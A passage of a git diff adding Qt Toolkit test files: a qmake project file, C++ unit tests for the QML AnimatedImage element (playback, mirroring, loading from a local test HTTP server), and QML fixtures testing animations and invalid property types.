+++ b/tests/auto/declarative/qdeclarativeanimatedimage/qdeclarativeanimatedimage.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative network
+HEADERS += ../shared/testhttpserver.h
+SOURCES += tst_qdeclarativeanimatedimage.cpp ../shared/testhttpserver.cpp
+macx:CONFIG -= app_bundle
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp
new file mode 100644
index 00000000..19853c4e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp
@@ -0,0 +1,387 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativeimage_p.h>
+#include <private/qdeclarativeanimatedimage_p.h>
+#include <QSignalSpy>
+#include <QtDeclarative/qdeclarativecontext.h>
+
+#include "../shared/testhttpserver.h"
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativeanimatedimage : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeanimatedimage() {}
+
+private slots:
+ void play();
+ void pause();
+ void stopped();
+ void setFrame();
+ void frameCount();
+ void mirror_running();
+ void mirror_notRunning();
+ void mirror_notRunning_data();
+ void remote();
+ void remote_data();
+ void sourceSize();
+ void sourceSizeReadOnly();
+ void invalidSource();
+ void qtbug_16520();
+ void progressAndStatusChanges();
+
+private:
+ QPixmap grabScene(QGraphicsScene *scene, int width, int height);
+};
+
+QPixmap tst_qdeclarativeanimatedimage::grabScene(QGraphicsScene *scene, int width, int height)
+{
+ QPixmap screenshot(width, height);
+ screenshot.fill();
+ QPainter p_screenshot(&screenshot);
+ scene->render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+ return screenshot;
+}
+
+void tst_qdeclarativeanimatedimage::play()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickman.qml"));
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+ QVERIFY(anim->isPlaying());
+
+ delete anim;
+}
+
+void tst_qdeclarativeanimatedimage::pause()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickmanpause.qml"));
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+ QVERIFY(anim->isPlaying());
+ QVERIFY(anim->isPaused());
+
+ delete anim;
+}
+
+void tst_qdeclarativeanimatedimage::stopped()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickmanstopped.qml"));
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+ QVERIFY(!anim->isPlaying());
+ QCOMPARE(anim->currentFrame(), 0);
+
+ delete anim;
+}
+
+void tst_qdeclarativeanimatedimage::setFrame()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickmanpause.qml"));
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+ QVERIFY(anim->isPlaying());
+ QCOMPARE(anim->currentFrame(), 2);
+
+ delete anim;
+}
+
+void tst_qdeclarativeanimatedimage::frameCount()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/colors.qml"));
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+ QVERIFY(anim->isPlaying());
+ QCOMPARE(anim->frameCount(), 3);
+
+ delete anim;
+}
+
+void tst_qdeclarativeanimatedimage::mirror_running()
+{
+ // test where mirror is set to true after animation has started
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/hearts.qml"));
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+
+ QGraphicsScene scene;
+ int width = anim->property("width").toInt();
+ int height = anim->property("height").toInt();
+ scene.addItem(qobject_cast<QGraphicsObject *>(anim));
+
+ QCOMPARE(anim->currentFrame(), 0);
+ QPixmap frame0 = grabScene(&scene, width, height);
+ anim->setCurrentFrame(1);
+ QPixmap frame1 = grabScene(&scene, width, height);
+
+ anim->setCurrentFrame(0);
+
+ QSignalSpy spy(anim, SIGNAL(frameChanged()));
+ anim->setPlaying(true);
+
+ QTRY_VERIFY(spy.count() == 1); spy.clear();
+ anim->setProperty("mirror", true);
+
+ QCOMPARE(anim->currentFrame(), 1);
+ QPixmap frame1_flipped = grabScene(&scene, width, height);
+
+ QTRY_VERIFY(spy.count() == 1); spy.clear();
+ QCOMPARE(anim->currentFrame(), 0); // animation only has 2 frames, should cycle back to first
+ QPixmap frame0_flipped = grabScene(&scene, width, height);
+
+ QTransform transform;
+ transform.translate(width, 0).scale(-1, 1.0);
+ QPixmap frame0_expected = frame0.transformed(transform);
+ QPixmap frame1_expected = frame1.transformed(transform);
+
+ QCOMPARE(frame0_flipped, frame0_expected);
+ QCOMPARE(frame1_flipped, frame1_expected);
+}
+
+void tst_qdeclarativeanimatedimage::mirror_notRunning()
+{
+ QFETCH(QUrl, fileUrl);
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, fileUrl);
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+
+ QGraphicsScene scene;
+ int width = anim->property("width").toInt();
+ int height = anim->property("height").toInt();
+ scene.addItem(qobject_cast<QGraphicsObject *>(anim));
+ QPixmap screenshot = grabScene(&scene, width, height);
+
+ QTransform transform;
+ transform.translate(width, 0).scale(-1, 1.0);
+ QPixmap expected = screenshot.transformed(transform);
+
+ int frame = anim->currentFrame();
+ bool playing = anim->isPlaying();
+ bool paused = anim->isPlaying();
+
+ anim->setProperty("mirror", true);
+ screenshot = grabScene(&scene, width, height);
+
+ QCOMPARE(screenshot, expected);
+
+ // mirroring should not change the current frame or playing status
+ QCOMPARE(anim->currentFrame(), frame);
+ QCOMPARE(anim->isPlaying(), playing);
+ QCOMPARE(anim->isPaused(), paused);
+
+ delete anim;
+}
+
+void tst_qdeclarativeanimatedimage::mirror_notRunning_data()
+{
+ QTest::addColumn<QUrl>("fileUrl");
+
+ QTest::newRow("paused") << QUrl::fromLocalFile(SRCDIR "/data/stickmanpause.qml");
+ QTest::newRow("stopped") << QUrl::fromLocalFile(SRCDIR "/data/stickmanstopped.qml");
+}
+
+void tst_qdeclarativeanimatedimage::remote()
+{
+ QFETCH(QString, fileName);
+ QFETCH(bool, paused);
+
+ TestHTTPServer server(14449);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("http://127.0.0.1:14449/" + fileName));
+ QTRY_VERIFY(component.isReady());
+
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+
+ QTRY_VERIFY(anim->isPlaying());
+ if (paused) {
+ QTRY_VERIFY(anim->isPaused());
+ QCOMPARE(anim->currentFrame(), 2);
+ }
+ QVERIFY(anim->status() != QDeclarativeAnimatedImage::Error);
+
+ delete anim;
+}
+
+void tst_qdeclarativeanimatedimage::sourceSize()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickmanscaled.qml"));
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+ QCOMPARE(anim->width(),240.0);
+ QCOMPARE(anim->height(),180.0);
+ QCOMPARE(anim->sourceSize(),QSize(160,120));
+
+ delete anim;
+}
+
+void tst_qdeclarativeanimatedimage::sourceSizeReadOnly()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/stickmanerror1.qml"));
+ QVERIFY(component.isError());
+ QCOMPARE(component.errors().at(0).description(), QString("Invalid property assignment: \"sourceSize\" is a read-only property"));
+}
+
+void tst_qdeclarativeanimatedimage::remote_data()
+{
+ QTest::addColumn<QString>("fileName");
+ QTest::addColumn<bool>("paused");
+
+ QTest::newRow("playing") << "stickman.qml" << false;
+ QTest::newRow("paused") << "stickmanpause.qml" << true;
+}
+
+void tst_qdeclarativeanimatedimage::invalidSource()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0\n AnimatedImage { source: \"no-such-file.gif\" }", QUrl::fromLocalFile(""));
+ QVERIFY(component.isReady());
+
+ QTest::ignoreMessage(QtWarningMsg, "file::2:2: QML AnimatedImage: Error Reading Animated Image File file:no-such-file.gif");
+
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+
+ QVERIFY(!anim->isPlaying());
+ QVERIFY(!anim->isPaused());
+ QCOMPARE(anim->currentFrame(), 0);
+ QCOMPARE(anim->frameCount(), 0);
+ QTRY_VERIFY(anim->status() == 3);
+}
+
+void tst_qdeclarativeanimatedimage::qtbug_16520()
+{
+ TestHTTPServer server(14449);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/qtbug-16520.qml"));
+ QTRY_VERIFY(component.isReady());
+
+ QDeclarativeRectangle *root = qobject_cast<QDeclarativeRectangle *>(component.create());
+ QVERIFY(root);
+ QDeclarativeAnimatedImage *anim = root->findChild<QDeclarativeAnimatedImage*>("anim");
+
+ anim->setProperty("source", "http://127.0.0.1:14449/stickman.gif");
+
+ QTRY_VERIFY(anim->opacity() == 0);
+ QTRY_VERIFY(anim->opacity() == 1);
+
+ delete anim;
+}
+
+void tst_qdeclarativeanimatedimage::progressAndStatusChanges()
+{
+ TestHTTPServer server(14449);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data");
+
+ QDeclarativeEngine engine;
+ QString componentStr = "import QtQuick 1.0\nAnimatedImage { source: srcImage }";
+ QDeclarativeContext *ctxt = engine.rootContext();
+ ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/stickman.gif"));
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+ QVERIFY(obj->status() == QDeclarativeImage::Ready);
+ QTRY_VERIFY(obj->progress() == 1.0);
+
+ QSignalSpy sourceSpy(obj, SIGNAL(sourceChanged(const QUrl &)));
+ QSignalSpy progressSpy(obj, SIGNAL(progressChanged(qreal)));
+ QSignalSpy statusSpy(obj, SIGNAL(statusChanged(QDeclarativeImageBase::Status)));
+
+ // Loading local file
+ ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/colors.gif"));
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Ready);
+ QTRY_VERIFY(obj->progress() == 1.0);
+ QTRY_COMPARE(sourceSpy.count(), 1);
+ QTRY_COMPARE(progressSpy.count(), 0);
+ QTRY_COMPARE(statusSpy.count(), 0);
+
+ // Loading remote file
+ ctxt->setContextProperty("srcImage", "http://127.0.0.1:14449/stickman.gif");
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Loading);
+ QTRY_VERIFY(obj->progress() == 0.0);
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Ready);
+ QTRY_VERIFY(obj->progress() == 1.0);
+ QTRY_COMPARE(sourceSpy.count(), 2);
+ QTRY_VERIFY(progressSpy.count() > 1);
+ QTRY_COMPARE(statusSpy.count(), 2);
+
+ ctxt->setContextProperty("srcImage", "");
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Null);
+ QTRY_VERIFY(obj->progress() == 0.0);
+ QTRY_COMPARE(sourceSpy.count(), 3);
+ QTRY_VERIFY(progressSpy.count() > 2);
+ QTRY_COMPARE(statusSpy.count(), 3);
+}
+
+QTEST_MAIN(tst_qdeclarativeanimatedimage)
+
+#include "tst_qdeclarativeanimatedimage.moc"
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/Double.qml b/tests/auto/declarative/qdeclarativeanimations/data/Double.qml
new file mode 100644
index 00000000..b247fcee
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/Double.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+ property bool on: false
+ border.color: "#ffffff"
+ color: "green"
+ width: 50
+ height: 50
+ NumberAnimation on x {
+ objectName: "animation"
+ running: container.on; from: 0; to: 600; loops: Animation.Infinite; duration: 2000
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/attached.qml b/tests/auto/declarative/qdeclarativeanimations/data/attached.qml
new file mode 100644
index 00000000..c5d5535b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/attached.qml
@@ -0,0 +1,34 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 180; height: 200;
+
+ Component {
+ id: delegate
+ Rectangle {
+ id: wrapper
+ width: 180; height: 200
+ color: "blue"
+
+ states: State {
+ name: "otherState"
+ PropertyChanges { target: wrapper; color: "green" }
+ }
+
+ transitions: Transition {
+ PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true }
+ ScriptAction { script: console.log(wrapper.ListView.delayRemove ? "on" : "off") }
+ }
+
+ Component.onCompleted: {
+ console.log(ListView.delayRemove ? "on" : "off");
+ wrapper.state = "otherState"
+ }
+ }
+ }
+
+ ListView {
+ model: 1
+ delegate: delegate
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/badproperty1.qml b/tests/auto/declarative/qdeclarativeanimations/data/badproperty1.qml
new file mode 100644
index 00000000..3e7ebe74
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/badproperty1.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 240
+ height: 320
+ Rectangle {
+ id: myRect
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ }
+ states: State {
+ name: "state1"
+ PropertyChanges { target: myRect; border.color: "blue" }
+ }
+ transitions: Transition {
+ ColorAnimation { target: myRect; to: "red"; property: "border.colr"; duration: 1000 }
+ }
+ Component.onCompleted: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1";
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/badproperty2.qml b/tests/auto/declarative/qdeclarativeanimations/data/badproperty2.qml
new file mode 100644
index 00000000..40235eee
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/badproperty2.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 240
+ height: 320
+ Rectangle {
+ id: myRect
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ }
+ states: State {
+ name: "state1"
+ PropertyChanges { target: myRect; border.color: "blue" }
+ }
+ transitions: Transition {
+ ColorAnimation { target: myRect; to: "red"; property: "border"; duration: 1000 }
+ }
+ Component.onCompleted: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1";
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/badtype1.qml b/tests/auto/declarative/qdeclarativeanimations/data/badtype1.qml
new file mode 100644
index 00000000..0a8a7ea7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/badtype1.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ Rectangle {
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ PropertyAnimation on x { from: "blue"; to: "green"; }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/badtype2.qml b/tests/auto/declarative/qdeclarativeanimations/data/badtype2.qml
new file mode 100644
index 00000000..118bbbc8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/badtype2.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ Rectangle {
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ NumberAnimation on x { from: "blue"; to: "green"; }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/badtype3.qml b/tests/auto/declarative/qdeclarativeanimations/data/badtype3.qml
new file mode 100644
index 00000000..2599e70c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/badtype3.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ Rectangle {
+ color: "red"
+ ColorAnimation on color { from: 10; to: 15; }
+ width: 50; height: 50
+ x: 100; y: 100
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/badtype4.qml b/tests/auto/declarative/qdeclarativeanimations/data/badtype4.qml
new file mode 100644
index 00000000..5dafb0e3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/badtype4.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 240
+ height: 320
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ MouseArea {
+ anchors.fill: parent
+ onClicked: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1";
+ }
+ }
+ states: State {
+ name: "state1"
+ PropertyChanges { target: myRect; x: 200; color: "blue" }
+ }
+ transitions: Transition {
+ //comment out each in turn to make sure each only animates the relevant property
+ ColorAnimation { properties: "x,color"; duration: 1000 } //x is real, color is color
+ NumberAnimation { properties: "x,color"; duration: 1000 } //x is real, color is color
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml
new file mode 100644
index 00000000..e2ce07fb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 600
+ height: 400
+
+ Rectangle {
+ id: redRect
+ width: 100; height: 100
+ color: Qt.rgba(1,0,0)
+ Behavior on x {
+ NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; loops: Animation.Infinite}
+ }
+
+ }
+
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/dontStart.qml b/tests/auto/declarative/qdeclarativeanimations/data/dontStart.qml
new file mode 100644
index 00000000..6b803176
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/dontStart.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 600
+ height: 400
+
+ Rectangle {
+ id: redRect
+ width: 100; height: 100
+ color: Qt.rgba(1,0,0)
+ SequentialAnimation on x {
+ running: false
+ NumberAnimation { objectName: "MyAnim"; running: true }
+ }
+
+ }
+
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/dontStart2.qml b/tests/auto/declarative/qdeclarativeanimations/data/dontStart2.qml
new file mode 100644
index 00000000..2563c01d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/dontStart2.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 600
+ height: 400
+
+ Rectangle {
+ id: redRect
+ width: 100; height: 100
+ color: Qt.rgba(1,0,0)
+
+ transitions: Transition {
+ SequentialAnimation {
+ NumberAnimation { id: myAnim; objectName: "MyAnim"; running: true }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/dotproperty.qml b/tests/auto/declarative/qdeclarativeanimations/data/dotproperty.qml
new file mode 100644
index 00000000..aff69e5c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/dotproperty.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 240
+ height: 320
+ Rectangle {
+ id: myRect
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ MouseArea {
+ anchors.fill: parent
+ onClicked: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1";
+ }
+ }
+ states: State {
+ name: "state1"
+ PropertyChanges { target: myRect; border.color: "blue" }
+ }
+ transitions: Transition {
+ ColorAnimation { properties: "border.color"; duration: 1000 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/doubleRegistrationBug.qml b/tests/auto/declarative/qdeclarativeanimations/data/doubleRegistrationBug.qml
new file mode 100644
index 00000000..f0fdf9cf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/doubleRegistrationBug.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 400
+
+ Double { id: dub; on: parent.width < 800 }
+ Component.onCompleted: dub.on = false
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/mixedtype1.qml b/tests/auto/declarative/qdeclarativeanimations/data/mixedtype1.qml
new file mode 100644
index 00000000..a97b3fd5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/mixedtype1.qml
@@ -0,0 +1,25 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 240
+ height: 320
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ MouseArea {
+ anchors.fill: parent
+ onClicked: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1";
+ }
+ }
+ states: State {
+ name: "state1"
+ PropertyChanges { target: myRect; x: 200; border.width: 10 }
+ }
+ transitions: Transition {
+ PropertyAnimation { properties: "x,border.width"; duration: 1000 } //x is real, border.width is int
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/mixedtype2.qml b/tests/auto/declarative/qdeclarativeanimations/data/mixedtype2.qml
new file mode 100644
index 00000000..9a774678
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/mixedtype2.qml
@@ -0,0 +1,25 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 240
+ height: 320
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ MouseArea {
+ anchors.fill: parent
+ onClicked: if (wrapper.state == "state1") wrapper.state = ""; else wrapper.state = "state1";
+ }
+ }
+ states: State {
+ name: "state1"
+ PropertyChanges { target: myRect; x: 200; color: "blue" }
+ }
+ transitions: Transition {
+ PropertyAnimation { properties: "x,color"; duration: 1000 } //x is real, color is color
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/nonTransitionBug.qml b/tests/auto/declarative/qdeclarativeanimations/data/nonTransitionBug.qml
new file mode 100644
index 00000000..04741ff3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/nonTransitionBug.qml
@@ -0,0 +1,30 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+ width: 200
+ height: 200
+
+ Rectangle {
+ id: mover
+ objectName: "mover"
+ }
+
+ states: [
+ State {
+ name: "free"
+ },
+ State {
+ name: "left"
+ PropertyChanges {
+ restoreEntryValues: false
+ target: mover
+ x: 0
+ }
+ }
+ ]
+
+ transitions: Transition {
+ PropertyAnimation { properties: "x"; duration: 50 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/properties.qml b/tests/auto/declarative/qdeclarativeanimations/data/properties.qml
new file mode 100644
index 00000000..e6af9acc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/properties.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ NumberAnimation on x { to: 200 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/properties2.qml b/tests/auto/declarative/qdeclarativeanimations/data/properties2.qml
new file mode 100644
index 00000000..60ec456c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/properties2.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ NumberAnimation on x { targets: theRect; properties: "x"; to: 200; }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/properties3.qml b/tests/auto/declarative/qdeclarativeanimations/data/properties3.qml
new file mode 100644
index 00000000..e86eca13
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/properties3.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ NumberAnimation on x { target: theRect; property: "x"; to: 300; }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/properties4.qml b/tests/auto/declarative/qdeclarativeanimations/data/properties4.qml
new file mode 100644
index 00000000..04d41c64
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/properties4.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ NumberAnimation on x { target: theRect; property: "y"; to: 200; }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/properties5.qml b/tests/auto/declarative/qdeclarativeanimations/data/properties5.qml
new file mode 100644
index 00000000..e139f8c6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/properties5.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ NumberAnimation on x { targets: theRect; properties: "y"; to: 200; }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition.qml b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition.qml
new file mode 100644
index 00000000..8e2b41db
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ }
+
+ states: State {
+ name: "moved"
+ PropertyChanges {
+ target: theRect
+ x: 200
+ }
+ }
+ transitions: Transition {
+ NumberAnimation { targets: theRect; properties: "x" }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state = "moved"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition2.qml b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition2.qml
new file mode 100644
index 00000000..6b846852
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition2.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
